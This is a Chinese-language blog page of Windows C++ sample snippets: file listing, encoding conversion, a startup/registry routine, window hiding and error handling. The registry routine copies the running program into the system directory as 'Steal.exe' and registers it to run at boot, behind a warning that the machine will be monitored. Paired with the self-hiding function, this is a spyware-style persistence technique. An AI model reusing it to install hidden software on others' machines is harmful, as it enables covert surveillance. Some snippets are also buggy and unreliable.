个人知识库 个人知识库
首页
关于
  • C语言
  • CPlusPlus
  • Linux
  • PHP
  • Nginx
  • MySQL
  • Redis
  • Docker
  • Kubernetes
  • SRS
阅读
常用工具
  • 分类
  • 标签
  • 归档
GitHub

Agnes001

坚持是一件很伟大的事业
首页
关于
  • C语言
  • CPlusPlus
  • Linux
  • PHP
  • Nginx
  • MySQL
  • Redis
  • Docker
  • Kubernetes
  • SRS
阅读
常用工具
  • 分类
  • 标签
  • 归档
GitHub
  • C语言

  • CPlusPlus

    • 基础特性

      • 枚举
      • 字符指针
    • vs2019设置
    • C++11特性

    • 并发编程

    • 引用
    • 类和对象
    • 友元和运算符重载
    • 继承
    • 继承和多态
    • 模板
    • C++基础总结
    • 类型转换
    • 异常
    • 容器
    • 算法
    • C++程序设计
    • C++ Primer总结
    • 编程技巧
    • 标准库体系结构与内核分析
    • 设计模式
    • cmake配置C++工程
    • libcurl的使用总结
    • web开发框架--drogon
    • log4cplus使用
    • C++数据类型
    • 函数
    • 线程
    • 进程
    • 文件操作
    • 日常问题记录
    • Cpp案例程序
      • 获取文件夹下所有文件的名称
      • UTF8ToGB GBToUTF8
      • 添加到启动项/写入注册表
      • 隐藏自身程序
      • 错误处理函数
    • 多线程
    • 侯捷c++11新特性
    • 侯捷stl
  • Lua技术栈

  • edoyun

  • 内存管理

  • 数据结构

  • 网络编程

  • Linux

  • 池化技术

  • 操作系统

  • python

  • 编程技术
  • CPlusPlus
Agnes001
2021-01-24

案例程序

# 获取文件夹下所有文件的名称

//传入的值为 "E:\\BaiduNetdiskDownload"
void getFiles(const char* szPath)
{
	WIN32_FIND_DATA findFileData; //表示文件
	HANDLE hListFile; //文件句柄

	char szFilePath[MAX_PATH]{ 0 };
	strcpy(szFilePath, szPath);
	strcat(szFilePath, "\\*");

	hListFile = FindFirstFile(szFilePath, &findFileData);

	do
	{
		char myPath[MAX_PATH]{ 0 };
		if ((findFileData.dwFileAttributes & FILE_ATTRIBUTE_HIDDEN)==0)
		{
			strcpy(myPath, findFileData.cFileName);
			printf("path = %s\n", myPath);
		}
	} while (FindNextFile(hListFile, &findFileData))
}

# UTF8ToGB GBToUTF8

// windows下的转换
#include <string>
#include <Windows.h>
 
//UTF-8到GB2312的转换
char* UTF8ToGB(const char* utf8)
{
	int len = MultiByteToWideChar(CP_UTF8, 0, utf8, -1, NULL, 0);
	wchar_t* wstr = new wchar_t[len+1];
	memset(wstr, 0, len+1);
	MultiByteToWideChar(CP_UTF8, 0, utf8, -1, wstr, len);
	len = WideCharToMultiByte(CP_ACP, 0, wstr, -1, NULL, 0, NULL, NULL);
	char* str = new char[len+1];
	memset(str, 0, len+1);
	WideCharToMultiByte(CP_ACP, 0, wstr, -1, str, len, NULL, NULL);
	if(wstr) delete[] wstr;
	return str;
}
//GB2312到UTF-8的转换
char* GBToUTF8(const char* gb2312)
{
	int len = MultiByteToWideChar(CP_ACP, 0, gb2312, -1, NULL, 0);
	wchar_t* wstr = new wchar_t[len+1];
	memset(wstr, 0, len+1);
	MultiByteToWideChar(CP_ACP, 0, gb2312, -1, wstr, len);
	len = WideCharToMultiByte(CP_UTF8, 0, wstr, -1, NULL, 0, NULL, NULL);
	char* str = new char[len+1];
	memset(str, 0, len+1);
	WideCharToMultiByte(CP_UTF8, 0, wstr, -1, str, len, NULL, NULL);
	if(wstr) delete[] wstr;
	return str;
}
//C语言编码转换gb2312 to utf8,utf8 to gb2312 代码,GCC编译,支持Windows、Linux
#include <stdio.h>
#include <stdlib.h>
#include <stddef.h>
#include <string.h>
#include <unistd.h>
#include <iconv.h>
#define OUTLEN 255

main()
{
    char *in_utf8 = "姝e?ㄥ??瑁?";
    char *in_gb2312 = "你是谁";
    char out[OUTLEN];
    int rc; 

    //unicode码转为gb2312码
    rc = u2g(in_utf8,strlen(in_utf8),out,OUTLEN);
    //printf("unicode-->gb2312 out=%sn",out);

    //gb2312码转为unicode码
    rc = g2u(in_gb2312,strlen(in_gb2312),out,OUTLEN);
    printf("gb2312-->unicode out=%sn",out);
}

/*代码转换:从一种编码转为另一种编码*/
int code_convert(char *from_charset,char *to_charset,char *inbuf,int inlen,char *outbuf,int outlen)
{
    iconv_t cd;
    int rc;
    char **pin = &inbuf;
    char **pout = &outbuf;
     
    cd = iconv_open(to_charset,from_charset);
    if (cd==0) return -1;
    memset(outbuf,0,outlen);
    if (iconv(cd,pin,&inlen,pout,&outlen)==-1) return -1;
    iconv_close(cd);
    return 0;
}
/*UNICODE码转为GB2312码*/
int u2g(char *inbuf,int inlen,char *outbuf,int outlen)
{
    return code_convert("utf-8","gb2312",inbuf,inlen,outbuf,outlen);
}
/*GB2312码转为UNICODE码*/
int g2u(char *inbuf,size_t inlen,char *outbuf,size_t outlen)
{
    return code_convert("gb2312","utf-8",inbuf,inlen,outbuf,outlen);
}

# 添加到启动项/写入注册表

void AddToSystem() 
{ 
	HKEY hKEY; 
	char CurrentPath[MAX_PATH]; 
	char SysPath[MAX_PATH]; 
	long ret = 0; 
	LPSTR FileNewName; 
	LPSTR FileCurrentName; 
	DWORD type = REG_SZ; 
	DWORD size = MAX_PATH; 
	LPCTSTR Rgspath = "Software\\Microsoft\\Windows\\CurrentVersion\\Run"; //regedit win + R 
	GetSystemDirectory(SysPath, size); 
	GetModuleFileName(NULL, CurrentPath, size); 
	//Copy File 
	FileCurrentName = CurrentPath;
	FileNewName = lstrcat(SysPath, "\\Steal.exe");
	struct _finddata_t Steal; 
	printf("ret1 = %d,FileNewName = %s\n", ret, FileNewName); 
	if (_findfirst(FileNewName, &Steal) != -1) 
		return;//已经安装! 
	printf("ret2 = %d\n", ret); 
	int ihow = MessageBox(0, "该程序只允许用于合法的用途!\n 继续运行该程序将使这台机器 处于被监控的状态!\n 如果您不想这样,请按“取消”按钮退出。\n 按下“是”按钮该程序将被复制 到您的机器上,并随系统启动自动运行。\n 按下“否”按钮,程序只运行一次,不会在您的系统内留下 任何东西。", "警告", MB_YESNOCANCEL | MB_ICONWARNING | MB_TOPMOST); 
	if (ihow == IDCANCEL) 
		exit(0);
	if (ihow == IDNO) 
	return;//只运行一次 
	//复制文件 
	ret = CopyFile(FileCurrentName, FileNewName, TRUE); 
	if (!ret) 
	{ 
		return;
	}
	//加入注册表 
	printf("ret = %d\n", ret); 
	ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE, Rgspath, 0, KEY_WRITE, &hKEY); 
	if (ret != ERROR_SUCCESS)
	{ 
		RegCloseKey(hKEY); return; 
	}
	//Set Key
	ret = RegSetValueEx(hKEY, "Steal", NULL, type, (const unsigned char*)FileNewName, size); 
	if (ret != ERROR_SUCCESS) 
	{ 
		RegCloseKey(hKEY); 
		return; 
	}
	RegCloseKey(hKEY);
}

# 隐藏自身程序

void HideMyself() 
{ 
	// 拿到当前的窗口句柄 
	HWND hwnd = GetForegroundWindow(); 
	ShowWindow(hwnd, SW_HIDE); 
}

# 错误处理函数

void ErrorHanding(const char *msg) 
{ 
	fputs(msg, stderr); 
	fputc('\n', stderr); 
	exit(1);
}
编辑此页
#Cpp #demo
日常问题记录
多线程

← 日常问题记录 多线程 →

Theme by Vdoing
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式